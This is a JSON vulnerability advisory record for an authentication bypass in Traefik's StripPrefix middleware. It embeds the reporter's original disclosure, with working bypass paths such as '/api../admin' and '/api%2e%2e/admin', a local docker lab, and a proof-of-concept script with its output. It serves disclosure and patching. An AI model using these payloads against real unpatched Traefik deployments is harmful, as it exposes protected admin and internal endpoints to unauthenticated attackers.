{"id":"DHI-4kbt-jrxq-bclc-ayoz","summary":"## Summary","details":"## Summary\r\n\r\nThere is a high severity vulnerability in Traefik's `StripPrefix` middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a `PathPrefix` rule and applies the `StripPrefix` middleware, a request path containing `..` or its percent-encoded form `%2e%2e` can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.\r\n\r\n## Patches\r\n\r\n- https://github.com/traefik/traefik/releases/tag/v2.11.48\r\n- https://github.com/traefik/traefik/releases/tag/v3.6.19\r\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\r\n\r\n## For more information\r\n\r\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\r\n\r\n\u003cdetails\u003e\r\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\r\n\r\n# Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)\r\n\r\n## Summary\r\n\r\nI found a route-level authentication/authorization bypass in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`.\r\n\r\nA request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`.\r\n\r\nThis is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues.\r\n\r\nThis report specifically affects `StripPrefix`.\r\n\r\n## Affected Versions Tested\r\n\r\n| Image | Observed Version | Result |\r\n|---|---|---|\r\n| `traefik:v2.11` | `v2.11.46` | Affected |\r\n| `traefik:v3.6` | `v3.6.17` | Affected |\r\n| `traefik:latest` | `v3.7.1` | Affected |\r\n\r\n### Lab Contrast\r\n\r\n| Image | Result |\r\n|---|---|\r\n| `traefik:v2.10` | Not reproduced in lab |\r\n| `traefik:v3.5` | Not reproduced in lab |\r\n\r\n## Vulnerable Configuration Pattern\r\n\r\nThe issue appears when:\r\n\r\n- a broad public route strips a prefix\r\n- while a separate protected route is intended to guard internal/admin paths\r\n\r\n```yaml\r\nhttp:\r\n  routers:\r\n    public-api:\r\n      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'\r\n      entryPoints:\r\n        - web\r\n      middlewares:\r\n        - strip-api\r\n      service: backend\r\n\r\n    protected:\r\n      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'\r\n      entryPoints:\r\n        - web\r\n      middlewares:\r\n        - auth\r\n      service: backend\r\n\r\n  middlewares:\r\n    strip-api:\r\n      stripPrefix:\r\n        prefixes:\r\n          - /api\r\n\r\n    auth:\r\n      basicAuth:\r\n        users:\r\n          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'\r\n\r\n  services:\r\n    backend:\r\n      loadBalancer:\r\n        servers:\r\n          - url: http://backend:9000\r\n```\r\n\r\n## Observed Behavior\r\n\r\n### Direct Protected Paths\r\n\r\nThese are correctly blocked.\r\n\r\n| Request | Expected | Observed |\r\n|---|---|---|\r\n| `GET /admin` | Blocked | `401` |\r\n| `GET /internal/config` | Blocked | `401` |\r\n\r\n### Expected Public Exclusions\r\n\r\nThese do not expose protected backend paths.\r\n\r\n| Request | Expected | Observed |\r\n|---|---|---|\r\n| `GET /api/admin` | Not routed to protected backend path | `404` |\r\n| `GET /api/internal/config` | Not routed to protected backend path | `404` |\r\n\r\n### Bypass Payloads\r\n\r\nThese reach protected backend paths.\r\n\r\n| Request | Observed Status | Backend Receives |\r\n|---|---|---|\r\n| `GET /api../admin` | `200` | `/admin` |\r\n| `GET /api%2e%2e/admin` | `200` | `/admin` |\r\n| `GET /api../internal/config` | `200` | `/internal/config` |\r\n| `GET /api%2e%2e/internal/config` | `200` | `/internal/config` |\r\n\r\n## Minimal PoC\r\n\r\n### docker-compose.yml\r\n\r\n```yaml\r\nservices:\r\n  traefik:\r\n    image: traefik:v3.7\r\n    command:\r\n      - --providers.file.filename=/etc/traefik/dynamic.yml\r\n      - --entrypoints.web.address=:8080\r\n      - --accesslog=true\r\n    ports:\r\n      - \"127.0.0.1:18080:8080\"\r\n    volumes:\r\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\r\n    depends_on:\r\n      - backend\r\n\r\n  backend:\r\n    image: python:3.12-slim\r\n    working_dir: /app\r\n    command: python backend.py\r\n    volumes:\r\n      - ./backend.py:/app/backend.py:ro\r\n    expose:\r\n      - \"9000\"\r\n```\r\n\r\n### dynamic.yml\r\n\r\n```yaml\r\nhttp:\r\n  routers:\r\n    public-api:\r\n      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'\r\n      entryPoints:\r\n        - web\r\n      middlewares:\r\n        - strip-api\r\n      service: backend\r\n\r\n    protected:\r\n      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'\r\n      entryPoints:\r\n        - web\r\n      middlewares:\r\n        - auth\r\n      service: backend\r\n\r\n  middlewares:\r\n    strip-api:\r\n      stripPrefix:\r\n        prefixes:\r\n          - /api\r\n\r\n    auth:\r\n      basicAuth:\r\n        users:\r\n          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'\r\n\r\n  services:\r\n    backend:\r\n      loadBalancer:\r\n        servers:\r\n          - url: http://backend:9000\r\n```\r\n\r\n### backend.py\r\n\r\n```python\r\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\r\nimport json\r\n\r\nclass Handler(BaseHTTPRequestHandler):\r\n    def log_message(self, fmt, *args):\r\n        return\r\n\r\n    def _json(self, status, obj):\r\n        body = json.dumps(obj).encode()\r\n        self.send_response(status)\r\n        self.send_header(\"Content-Type\", \"application/json\")\r\n        self.send_header(\"Content-Length\", str(len(body)))\r\n        self.end_headers()\r\n        self.wfile.write(body)\r\n\r\n    def do_GET(self):\r\n        if self.path == \"/admin\":\r\n            self._json(200, {\r\n                \"seen_path\": self.path,\r\n                \"secret\": \"ADMIN_SECRET_REACHED\"\r\n            })\r\n        elif self.path == \"/internal/config\":\r\n            self._json(200, {\r\n                \"seen_path\": self.path,\r\n                \"secret\": \"TRAEFIK_LAB_INTERNAL_CONFIG\"\r\n            })\r\n        elif self.path == \"/admin/exec\":\r\n            self._json(200, {\r\n                \"seen_path\": self.path,\r\n                \"rce_chain_marker\": True,\r\n                \"note\": \"protected execution endpoint reached\"\r\n            })\r\n        else:\r\n            self._json(404, {\r\n                \"seen_path\": self.path,\r\n                \"secret\": None\r\n            })\r\n\r\nHTTPServer((\"0.0.0.0\", 9000), Handler).serve_forever()\r\n```\r\n\r\n### poc.py\r\n\r\n```python\r\n#!/usr/bin/env python3\r\nfrom urllib.request import Request, urlopen\r\nfrom urllib.error import HTTPError\r\n\r\nBASE = \"http://127.0.0.1:18080\"\r\n\r\nPATHS = [\r\n    \"/admin\",\r\n    \"/internal/config\",\r\n    \"/api/admin\",\r\n    \"/api/internal/config\",\r\n    \"/api../admin\",\r\n    \"/api%2e%2e/admin\",\r\n    \"/api../internal/config\",\r\n    \"/api%2e%2e/internal/config\",\r\n    \"/admin/exec\",\r\n    \"/api/admin/exec\",\r\n    \"/api../admin/exec\",\r\n    \"/api%2e%2e/admin/exec\",\r\n]\r\n\r\nfor path in PATHS:\r\n    req = Request(BASE + path)\r\n    try:\r\n        with urlopen(req, timeout=5) as r:\r\n            status = r.status\r\n            body = r.read().decode(errors=\"replace\")\r\n    except HTTPError as e:\r\n        status = e.code\r\n        body = e.read().decode(errors=\"replace\")\r\n\r\n    print(f\"{path:28} {status} {body[:180]}\")\r\n```\r\n\r\n### Run\r\n\r\n```bash\r\ndocker compose up -d\r\npython3 poc.py\r\n```\r\n\r\n## Expected Vulnerable Output\r\n\r\n```text\r\n/admin                       401\r\n/internal/config             401\r\n/api/admin                   404\r\n/api/internal/config         404\r\n/api../admin                 200  backend seen_path=/admin\r\n/api%2e%2e/admin             200  backend seen_path=/admin\r\n/api../internal/config       200  backend seen_path=/internal/config\r\n/api%2e%2e/internal/config   200  backend seen_path=/internal/config\r\n/api../admin/exec            200  protected execution endpoint reached\r\n/api%2e%2e/admin/exec        200  protected execution endpoint reached\r\n```\r\n\r\n## Root Cause Hypothesis\r\n\r\nThe vulnerable behavior appears to be caused by path normalization after prefix stripping.\r\n\r\n```text\r\nIncoming path:              /api../admin\r\nAfter StripPrefix(\"/api\"):  /../admin\r\nAfter JoinPath():           /admin\r\n```\r\n\r\nThe request does not match the protected `/admin` router at the routing stage, but the backend receives `/admin` after normalization.\r\n\r\nThe relevant behavior appears related to `StripPrefix` calling `req.URL.JoinPath()` after removing the prefix in newer versions.\r\n\r\n## Security Impact\r\n\r\nAn unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.\r\n\r\nPotential impact includes:\r\n\r\n- Access to protected admin paths\r\n- Access to internal configuration endpoints\r\n- Exposure of secrets returned by internal backends\r\n- Access to protected backend management functionality\r\n- Conditional RCE if the protected backend exposes an execution primitive\r\n\r\nIn my local lab, a protected `/admin/exec` endpoint was reachable through `/api../admin/exec`, demonstrating a conditional RCE chain when the backend contains an execution primitive.\r\n\r\nThis is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.\r\n\r\n## Suggested Severity\r\n\r\nSuggested CVSS is **10.0 Critical** with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.\r\n\r\n```text\r\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\r\n```\r\n\r\nI selected Scope Changed because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.\r\n\r\nIf the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as **9.1 Critical** with Scope Unchanged:\r\n\r\n```text\r\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\r\n```\r\n\r\nI am submitting the issue with the stronger Scope Changed interpretation, but I understand the maintainers may adjust the final CVSS score during triage.\r\n\r\n## Weakness\r\n\r\nPrimary CWE:\r\n\r\n- `CWE-863: Incorrect Authorization`\r\n\r\nRelated weakness candidates:\r\n\r\n- `CWE-180: Incorrect Behavior Order: Validate Before Canonicalize`\r\n- `CWE-22: Improper Limitation of a Pathname to a Restricted Directory`\r\n\r\n## Mitigation Verified in Lab\r\n\r\nThe bypass was blocked when using a stricter prefix boundary:\r\n\r\n```text\r\nPathRegexp(`^/api(/|$)`)\r\n```\r\n\r\nor:\r\n\r\n```text\r\nPathPrefix(`/api/`) with StripPrefix(`/api/`)\r\n```\r\n\r\n## Relation to Existing Advisories\r\n\r\nThis appears related to the same vulnerability family as prior Traefik path normalization / `StripPrefixRegex` bypass advisories, but it affects `StripPrefix` and remains reproducible on patched/latest versions tested above.\r\n\r\nI am reporting this as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.\r\n\r\n## Reporter\r\n\r\nWonYun / kyun0\r\n\r\n\u003c/details\u003e","modified":"2026-11-16T02:34:12.392823058Z","published":"2026-11-11T18:51:16Z","upstream":["CVE-2026-48020"],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-4kbt-jrxq-bclc-ayoz"},{"type":"ADVISORY","url":"https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2"},{"type":"ADVISORY","url":"https://security.alpinelinux.org/vuln/CVE-2026-48020"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-xf64-8mw2-4gr2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48020"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-48020"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:62260"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.7.3"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.6.19"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v2.11.48"},{"type":"ADVISORY","url":"https://pkg.go.dev/vuln/GO-2026-5752"}],"affected":[{"package":{"name":"traefik-dev","ecosystem":"Docker Hardened Images:Alpine:3.23","purl":"pkg:apk/dhi/traefik-dev"},"versions":["3.6.17-r0","3.6.17-r1","3.6.17-r2","3.6.18-r0","3.6.19-r0","3.6.20-r0","3.6.21-r0","3.6.21-r1","3.7.1-r0","3.7.1-r1","3.7.1-r2","3.7.2-r0","3.7.3-r0","3.7.4-r0","3.7.5-r0","3.7.5-r1"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-4kbt-jrxq-bclc-ayoz.json"}},{"package":{"name":"traefik-fips-dev","ecosystem":"Docker Hardened Images:Alpine:3.23","purl":"pkg:apk/dhi/traefik-fips-dev"},"versions":["3.6.17-r0","3.6.17-r1","3.6.17-r2","3.6.18-r0","3.6.19-r0","3.6.20-r0","3.6.21-r0","3.6.21-r1","3.7.1-r0","3.7.1-r1","3.7.1-r2","3.7.2-r0","3.7.3-r0","3.7.4-r0","3.7.5-r0","3.7.5-r1"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-4kbt-jrxq-bclc-ayoz.json"}},{"package":{"name":"traefik-fips","ecosystem":"Docker Hardened Images:Alpine:3.23","purl":"pkg:apk/dhi/traefik-fips"},"versions":["3.6.17-r0","3.6.17-r1","3.6.17-r2","3.6.18-r0","3.6.19-r0","3.6.20-r0","3.6.21-r0","3.6.21-r1","3.7.1-r0","3.7.1-r1","3.7.1-r2","3.7.2-r0","3.7.3-r0","3.7.4-r0","3.7.5-r0","3.7.5-r1"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-4kbt-jrxq-bclc-ayoz.json"}},{"package":{"name":"traefik","ecosystem":"Docker Hardened Images:Alpine:3.23","purl":"pkg:apk/dhi/traefik"},"versions":["3.6.17-r0","3.6.17-r1","3.6.17-r2","3.6.18-r0","3.6.19-r0","3.6.20-r0","3.6.21-r0","3.6.21-r1","3.7.1-r0","3.7.1-r1","3.7.1-r2","3.7.2-r0","3.7.3-r0","3.7.4-r0","3.7.5-r0","3.7.5-r1"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-4kbt-jrxq-bclc-ayoz.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"}]}